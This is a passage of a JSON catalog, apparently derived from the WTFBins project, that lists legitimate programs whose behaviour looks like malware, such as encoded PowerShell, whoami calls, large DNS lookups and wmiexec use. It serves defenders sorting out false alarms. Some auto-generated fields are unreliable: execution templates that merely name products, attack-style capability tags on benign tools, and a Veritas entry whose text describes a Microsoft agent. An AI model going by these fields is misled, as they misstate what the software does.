        "url": "https://community.logmein.com/t5/LogMeIn-Central-Discussions/Why-AVfilter-js-running-in-my-logMein-client-machines/td-p/255466"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/logmein-and-cscript/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Run the binary and monitor DNS exfiltration\"\n    command: \"McAfee Antivirus\"\n\n# McAfee Antivirus\n\nMcAfee also loves big DNS queries!\n\n\n   \nVarious McAfee performs odd DNS lookups to subdomains of `avqs.mcafee.com` and `avts.mcafee.com` domains.\nExample:\n\n```\nA? a-0.19-a3000081.c930082.1838.11b0.2fca.400.0.n7dbrrk87wfrd2gm1699ghv8hi.avqs.mcafee.com.\nA? 13-0.19-b3000081.30483.1838.11b4.2fca.210.0.jsdhk1cfzc4r9jrf2j214zd4gi.avqs.mcafee.com.\nA? 13-0.19-b3000081.a0082.1838.11b4.2fca.210.0.4fk9i42wg1l1rlfrgvlpsv7a9q.avqs.mcafee.com.\nA? 13-0.19-b3000081.60082.1838.11b4.2fca.210.0.uqnk1rubb52k9unam8919hj6wq.avqs.mcafee.com.\nA? 13-0.19-b3000081.8a70082.1838.11b4.2fca.210.0.bklpbm2z81gc949wv8qr3spea6.avqs.mcafee.com.\nA? 13-0.19-b3000081.60082.1838.11b4.2fca.210.0.nuthnwa7a65azzqaij3t43ts1i.avqs.mcafee.com.\nA? 13-0.19-b3000081.60082.1838.11b4.2fca.210.0.lqmag7m5gq7i6h16d6emea6fwv.avqs.mcafee.com.\nA? 13-0.19-b3000081.10082.1838.11b4.2fca.210.0.gkmrckah4wcjc96fvbratcmn26.avqs.mcafee.com.\nA? 14-0.19-b3000489.2.1644.95b.3ea3.210.0.7ahnlkt1uiliactc2cfvqqnjcv.avts.mcafee.com.\n```\n\n*Contributed by Petr Špaček (@pspacek)*\n",
    "_source": "wtfbin-mcafee-antivirus.md",
    "capabilities": [
      "network.exfiltration.dns"
    ],
    "description": "McAfee also loves big DNS queries!",
    "execution": {
      "template": "McAfee Antivirus",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "wtfbin-mcafee-antivirus",
    "name": "McAfee Antivirus",
    "namespace": "wtf:bin:mcafee-antivirus",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/33"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/mcafee-antivirus/"
      }
    ],
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Microsoft Managed Desktop Agent and observe the unusual behavior\"\n    command: \"Microsoft Managed Desktop Agent\"\n\n# Microsoft Managed Desktop Agent\n\nMicrosoft loves to look like malware, huh?\n\n\n\n[Microsoft Management Services Cloud Managed Desktop Agent](https://learn.microsoft.com/en-us/managed-desktop/overview/service-plan) runs b64 PowerShell.\n\n*Contributed by Alexandros Pappas (redblueops)*\n",
    "_source": "wtfbin-microsoft-managed-desktop-agent.md",
    "capabilities": [
      "security.execution.powershell"
    ],
    "description": "Microsoft loves to look like malware, huh?",
    "execution": {
      "template": "Microsoft Managed Desktop Agent",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-microsoft-managed-desktop-agent",
    "name": "Microsoft Managed Desktop Agent",
    "namespace": "wtf:bin:microsoft-managed-desktop-agent",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/60"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/microsoft-managed-desktop-agent/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Network Detective Data Collector (nddc.exe) and observe the unusual behavior\"\n    command: \"Network Detective Data Collector\"\n\n# Network Detective Data Collector (nddc.exe)\n\nWMIExec-ish NDCC\n\n\n   \nThe executable for Network Detective Data Collector displays false positive activity similar to Impacket's WMI/SMBexec.\n\n*Contributed by Dray Agha (@purp1ew0lf)*\n",
    "_source": "wtfbin-network-detective-data-collector.md",
    "capabilities": [
      "network.transfer.generic",
      "security.execution.impacket"
    ],
    "description": "WMIExec-ish NDCC",
    "execution": {
      "template": "Network Detective Data Collector",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin"
    ],
    "id": "wtfbin-network-detective-data-collector",
    "name": "Network Detective Data Collector (nddc.exe)",
    "namespace": "wtf:bin:network-detective-data-collector",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/5"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/network-detective-data-collector/"
      }
    ],
    "techniques": [
      "exfiltration",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Nim Lang install binaries and observe the unusual behavior\"\n    command: \"Nim Lang install binaries\"\n\n# Nim Lang install binaries\n\nThe Nim language installer binaries in certain versions trigger Windows Defender. \n\n\n\nThese include `nimble.exe`, `finish.exe`, `koch.exe`, and other binaries that come packaged during a stock install of Nim.\n\n*Contributed by HuskyHacks*\n",
    "_source": "wtfbin-nim-lang-install-binaries.md",
    "capabilities": [
      "security.execution.nim"
    ],
    "description": "The Nim language installer binaries in certain versions trigger Windows Defender",
    "execution": {
      "template": "Nim Lang install binaries",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-nim-lang-install-binaries",
    "name": "Nim Lang install binaries",
    "namespace": "wtf:bin:nim-lang-install-binaries",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/HuskyHacks/the-crown-defcon615/blob/main/notebooks/NimbleAVExcursion.ipynb"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/nim-lang-install-binaries/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Noregon Fake Windows Components and observe the unusual behavior\"\n    command: \"Noregon Fake Windows Components\"\n\n# Noregon Fake Windows Components\n\nNamed after legitimate Windows binaries, in the wrong location. \n\n\n\nThey were spawned in succession from `C:\\Program Files (x86)\\noregon\\JPRO diagnostics\\Fleets.exe` > `C:\\Program Files (x86)\\noregon\\JPRO diagnostics_jpro_start.exe` > `C:\\Users\\AppData\\Local\\icsys.icn.exe > c:\\Windows\\System\\explorer.exe` > `C:\\Windows\\System\\spoolsv.exe` > `C:\\Windows\\System\\svchost.exe`.\n\nThe files are custom binaries compiled with Visual Basic. They appear to be changed/created regularly as the hashes seem to change often.\n\n*Contributed by Matt Anderson*\n",
    "_source": "wtfbin-noregon-fake-windows-components.md",
    "capabilities": [
      "security.defenseevasion.masquerading"
    ],
    "description": "Named after legitimate Windows binaries, in the wrong location",
    "execution": {
      "template": "Noregon Fake Windows Components",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "wtfbin-noregon-fake-windows-components",
    "name": "Noregon Fake Windows Components",
    "namespace": "wtf:bin:noregon-fake-windows-components",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/16"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/noregon-fake-windows-components/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Nutanix Guest Tools and observe the unusual behavior\"\n    command: \"Nutanix Guest Tools\"\n\n# Nutanix Guest Tools\n\nYet another base64-loving process. \n\n\n\nIn this case, the encoded commands are also WMI PowerShell commands.\n\n*Contributed by Micah Babinski (@mbabinski)*\n",
    "_source": "wtfbin-nutanix-guest-tools.md",
    "capabilities": [
      "security.obfuscation.base64"
    ],
    "description": "Yet another base64-loving process",
    "execution": {
      "template": "Nutanix Guest Tools",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout",
      "process-manip"
    ],
    "id": "wtfbin-nutanix-guest-tools",
    "name": "Nutanix Guest Tools",
    "namespace": "wtf:bin:nutanix-guest-tools",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/46"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/nutanix-guest-tools/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute OpenVAS runs WMIExec and observe the unusual behavior\"\n    command: \"OpenVAS runs WMIExec\"\n\n# OpenVAS runs WMIExec\n\nTFW the vuln scanner runs offensive tools.\n\n\n   \nWhen connecting to Windows hosts, OpenVAS will run impacket-wmiexec against the host. The resulting events look identical to a secretsdump run that you'd [hunt for](https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket).\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-openvas-runs-wmiexec.md",
    "capabilities": [
      "security.execution.impacket"
    ],
    "description": "TFW the vuln scanner runs offensive tools",
    "execution": {
      "template": "OpenVAS runs WMIExec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-openvas-runs-wmiexec",
    "name": "OpenVAS runs WMIExec",
    "namespace": "wtf:bin:openvas-runs-wmiexec",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/greenbone/openvas-scanner/blob/308cefe338df888814b735d11302f4b7e258bdc3/nasl/nasl_smb.c#L367"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/openvas-runs-wmiexec/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute PanGpHip.exe and observe the unusual behavior\"\n    command: \"PanGpHip.exe\"\n\n# PanGpHip.exe\n\nPalo Alto GP Firewall HIP check runs whoami.exe as SYSTEM.\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-pangphip-exe.md",
    "capabilities": [
      "security.execution.command",
      "credential.discovery.whoami"
    ],
    "description": "Palo Alto GP Firewall HIP check runs whoami.exe as SYSTEM",
    "execution": {
      "template": "PanGpHip.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-pangphip-exe",
    "name": "PanGpHip.exe",
    "namespace": "wtf:bin:pangphip-exe",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://live.paloaltonetworks.com/t5/globalprotect-discussions/pan-gp-hip/td-p/423158"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/pangphip-exe/"
      }
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute RingCentral.exe and observe the unusual behavior\"\n    command: \"RingCentral.exe\"\n\n# RingCentral.exe\n\nHow to look like malware, by RingCentral\n\n\n   \nBinary installs deep in `AppData`, drops a `setDefaultAppByProtcol.vbs` script, that is then executed to query/create/modify registry entries by running cmd.exe to call `cscript` //NoLogo and then finally run the vbscript.\n\n*Contributed by t3chn1qu3_/WSP (@t3chn1qu3_WSP)*\n",
    "_source": "wtfbin-ringcentral-exe.md",
    "capabilities": [
      "security.execution.script"
    ],
    "description": "How to look like malware, by RingCentral",
    "execution": {
      "template": "RingCentral.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-ringcentral-exe",
    "name": "RingCentral.exe",
    "namespace": "wtf:bin:ringcentral-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/WidespreadPandemic/RingCentral_WTFBin"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/ringcentral-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Run the binary and monitor DNS exfiltration\"\n    command: \"Samsung MobileWips\"\n\n# Samsung MobileWips\n\nBizarre DNS requests on Samsung phones.\n\n\n   \nSamsung MobileWips (presumably a Wireless Intrusion Prevention System) is a default system app on certain Android OS versions. It has been observed making DNS requests to google.com.onion, which will trigger network/DNS-related alerts, such as the Sigma rule [Query Tor Onion Address](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/dns_query/dns_query_win_tor_onion.yml). This domain does not resolve to an IP address, and is not accessible via Tor. It appears to have been added as some sort of DNS check by an Android developer with poor taste!\n\n*Contributed by Micah Babinski (@mbabinski)*\n",
    "_source": "wtfbin-samsung-mobilewips.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Bizarre DNS requests on Samsung phones",
    "execution": {
      "template": "Samsung MobileWips",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-samsung-mobilewips",
    "name": "Samsung MobileWips",
    "namespace": "wtf:bin:samsung-mobilewips",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/27"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/samsung-mobilewips/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute SecurityHealthService.exe unprotects LSA and observe the unusual behavior\"\n    command: \"SecurityHealthService.exe unprotects LSA\"\n\n# SecurityHealthService.exe unprotects LSA\n\nWho needs protection? Not LSA!\n\n\n   \nSets `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL` to 0 (= insecure = might raise EDR alerts ahem ahem) just before setting it (back?) to 2 for no valid reason.\n\n*Contributed by 59e5aaf4*\n",
    "_source": "wtfbin-securityhealthservice-exe-unprotects-lsa.md",
    "capabilities": [
      "credential.dump.lsass"
    ],
    "description": "Who needs protection? Not LSA!",
    "execution": {
      "template": "SecurityHealthService.exe unprotects LSA",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "wtfbin-securityhealthservice-exe-unprotects-lsa",
    "name": "SecurityHealthService.exe unprotects LSA",
    "namespace": "wtf:bin:securityhealthservice-exe-unprotects-lsa",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/44"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/securityhealthservice-exe-unprotects-lsa/"
      }
    ],
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute SenseIR.exe and observe the unusual behavior\"\n    command: \"SenseIR.exe\"\n\n# SenseIR.exe\n\nHow much can an EDR look like malware?\n\n\n\nMicrosoft Defender Advanced Threat Protection uses SenseIR.exe to launch Powershell scripts that then uses .NET function `[System.IO.File]::Open()` to read another Powershell script into memory for execution. The second Powershell script executed has its parameters passed in as base64-encoded text.\n\n*Contributed by Adam Ponce (@adamcysec)*\n",
    "_source": "wtfbin-senseir-exe.md",
    "capabilities": [
      "security.obfuscation.base64"
    ],
    "description": "How much can an EDR look like malware?",
    "execution": {
      "template": "SenseIR.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "wtfbin-senseir-exe",
    "name": "SenseIR.exe",
    "namespace": "wtf:bin:senseir-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/43"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/senseir-exe/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute SenseNdr.exe and observe the unusual behavior\"\n    command: \"SenseNdr.exe\"\n\n# SenseNdr.exe\n\nSenseNDR base64 encoding\n\n\n   \nSenseNDR, a component of [Microsoft Defender for Endpoint](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/device-discovery?view=o365-worldwide), encodes data for transmission in massive base64 chunks.\n\n*Contributed by Bumbucha*\n",
    "_source": "wtfbin-sensendr-exe.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "SenseNDR base64 encoding",
    "execution": {
      "template": "SenseNdr.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-sensendr-exe",
    "name": "SenseNdr.exe",
    "namespace": "wtf:bin:sensendr-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/20"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/sensendr-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute SentinelOne and observe the unusual behavior\"\n    command: \"SentinelOne\"\n\n# SentinelOne\n\nEDRs 🤝 Malware\n\n Encoded PowerShell\n\n\n   \nA legitimate PowerShell script associated with SentinelOne includes encoded PowerShell, AMSI bypass encoding, as well as strings for offensive security commands such as `Invoke-Mimikatz`. If running another security solution—like Defender—it may flag this SentinelOne legitimate PowerShell activity as malicious.\n\n*Contributed by Dray Agha (@purp1ew0lf)*\n",
    "_source": "wtfbin-sentinelone.md",
    "capabilities": [
      "security.execution.powershell"
    ],
    "description": "EDRs 🤝 Malware",
    "execution": {
      "template": "SentinelOne",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "pipes-stdin"
    ],
    "id": "wtfbin-sentinelone",
    "name": "SentinelOne",
    "namespace": "wtf:bin:sentinelone",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/24"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/sentinelone/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Skype.exe and observe the unusual behavior\"\n    command: \"Skype.exe\"\n\n# Skype.exe\n\nIt runs whoami because it's lost.\n\n*Contributed by g1ng3rr00t*\n",
    "_source": "wtfbin-skype-exe.md",
    "capabilities": [
      "credential.discovery.whoami",
      "security.execution.command"
    ],
    "description": "It runs whoami because it's lost",
    "execution": {
      "template": "Skype.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-skype-exe",
    "name": "Skype.exe",
    "namespace": "wtf:bin:skype-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://answers.microsoft.com/en-us/skype/forum/all/skype-issues-after-update-from-82x-to-830/39b7f81a-2a97-4f0f-ac59-1cea5e5fc279"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/skype-exe/"
      }
    ],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Snow Inventory Agent for Windows and observe the unusual behavior\"\n    command: \"Snow Inventory Agent for Windows\"\n\n# Snow Inventory Agent for Windows\n\nYet another PowerShell weirdo.\n\n\n\nSnow Inventory Agent for Windows (`snowagent.exe`) runs PowerShell which resembles shellcode (bindshell)\n\n* `powershell.exe -command`\n* `Invoke-Expression`\n* byte arrays\n* string encoding operations\n* pipes.\n\n*Contributed by Luke Humberdross (@ukejjh)*\n",
    "_source": "wtfbin-snow-inventory-agent-for-windows.md",
    "capabilities": [
      "security.execution.powershell"
    ],
    "description": "Yet another PowerShell weirdo",
    "execution": {
      "template": "Snow Inventory Agent for Windows",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive",
      "pipes-stdin"
    ],
    "id": "wtfbin-snow-inventory-agent-for-windows",
    "name": "Snow Inventory Agent for Windows",
    "namespace": "wtf:bin:snow-inventory-agent-for-windows",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://stackoverflow.com/questions/60503948/is-this-code-a-keylogger-what-does-it-do/65027626#65027626"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/snow-inventory-agent-for-windows/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Run the binary and monitor DNS exfiltration\"\n    command: \"Sophos Web Protection\"\n\n# Sophos Web Protection (sophosxl.net)\n\nDo you like giant DNS queries? Sophos does.\n\n\n\nSophos Web Protection, for reasons surpassing understanding, performs DNS lookups using b64-encoded data as subdomains to sophosxl.net. This creates a gigantic amount of DNS queries, all of which look like data exfil, because technically they are.\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-sophos-web-protection.md",
    "capabilities": [
      "network.exfiltration.dns"
    ],
    "description": "Do you like giant DNS queries? Sophos does",
    "execution": {
      "template": "Sophos Web Protection",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "wtfbin-sophos-web-protection",
    "name": "Sophos Web Protection (sophosxl.net)",
    "namespace": "wtf:bin:sophos-web-protection",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://support.sophos.com/support/s/article/KB-000034570?language=en_US"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/sophos-web-protection/"
      }
    ],
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Startupscan.dll and observe the unusual behavior\"\n    command: \"Startupscan.dll\"\n\n# Startupscan.dll\n\nWindows being sus? Inconceivable!\n\n\n\nWindows executes a suspiciously named DLL export with a name of `SusRunTask`, and this DLL checks many various Scheduled Task and Autostart execution locations, such as Registry persistence locations and `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\`, as well as spawning new processes that are not child processes.\n\n*Contributed by Matthew W (@0xDeadcell)*\n",
    "_source": "wtfbin-startupscan-dll.md",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "Windows being sus? Inconceivable!",
    "execution": {
      "template": "Startupscan.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "network-intensive",
      "process-manip"
    ],
    "id": "wtfbin-startupscan-dll",
    "name": "Startupscan.dll",
    "namespace": "wtf:bin:startupscan-dll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/49"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/startupscan-dll/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Teramind's dwm.exe and observe the unusual behavior\"\n    command: \"Teramind's dwm.exe\"\n\n# Teramind's dwm.exe\n\nNacho dwm\n\n\n   \nTeramind installs its own dwm.exe file inside a subfolder of `C:\\ProgramData\\{4cec2908-5ce4-48f0-a717-8fc833d8017a}`.\n\n*Contributed by Leo T.*\n",
    "_source": "wtfbin-teramind-s-dwm-exe.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Nacho dwm",
    "execution": {
      "template": "Teramind's dwm.exe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "wtfbin-teramind-s-dwm-exe",
    "name": "Teramind's dwm.exe",
    "namespace": "wtf:bin:teramind-s-dwm-exe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://kb.teramind.co/en/articles/8791033-antivirus-configuration-guide"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/teramind-s-dwm-exe/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Veritas Backup Agent (Symantec) and observe the unusual behavior\"\n    command: \"Veritas Backup Agent\"\n\n# Veritas Backup Agent (Symantec)\n\nAnother bin with an identity crisis.\n\n\n\n[Microsoft Management Services Cloud Managed Desktop Agent](https://learn.microsoft.com/en-us/managed-desktop/overview/service-plan) runs b64 PowerShell.\n\n*Contributed by Alexandros Pappas (redblueops)*\n",
    "_source": "wtfbin-veritas-backup-agent.md",
    "capabilities": [
      "credential.discovery.whoami"
    ],
    "description": "Another bin with an identity crisis",
    "execution": {
      "template": "Veritas Backup Agent",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "wtfbin-veritas-backup-agent",
    "name": "Veritas Backup Agent (Symantec)",
    "namespace": "wtf:bin:veritas-backup-agent",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://github.com/mttaggart/wtfbins/issues/62"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/veritas-backup-agent/"
      }
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Windows TCP Connections on High Ports and observe the unusual behavior\"\n    command: \"Windows TCP Connections on High Ports\"\n\n# Windows TCP Connections on High Ports\n\nWindows uses random high service ports for a variety of functions. \n\n\n\nWithout knowing this, these connections seem malicious but should be considered benign without a second source of suspicion.\n\n*Contributed by Ductape and Dreams*\n",
    "_source": "wtfbin-windows-tcp-connections-on-high-ports.md",
    "capabilities": [
      "network.transfer.generic"
    ],
    "description": "Windows uses random high service ports for a variety of functions",
    "execution": {
      "template": "Windows TCP Connections on High Ports",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "network-intensive",
      "process-manip",
      "remote"
    ],
    "id": "wtfbin-windows-tcp-connections-on-high-ports",
    "name": "Windows TCP Connections on High Ports",
    "namespace": "wtf:bin:windows-tcp-connections-on-high-ports",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/service-overview-and-network-port-requirements"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/windows-tcp-connections-on-high-ports/"
      }
    ],
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Execute Windows Terminal and observe the unusual behavior\"\n    command: \"Windows Terminal\"\n\n# Windows Terminal\n\nWindows Terminal runs `wsl` on startup.\n\nUpon launch, Windows Terminal runs `wsl --list` to find potential Linux profiles to add to its list.\n\n*Contributed by mttaggart*\n",
    "_source": "wtfbin-windows-terminal.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Windows Terminal runs `wsl` on startup",
    "execution": {
      "template": "Windows Terminal",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "wtfbin-windows-terminal",
    "name": "Windows Terminal",
    "namespace": "wtf:bin:windows-terminal",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Documentation",
        "url": "https://youtu.be/VvMn_zYP8Cw?t=11430"
      },
      {
        "label": "WTFBins",
        "url": "https://wtfbins.netlify.app/wtfbins/windows-terminal/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  }
]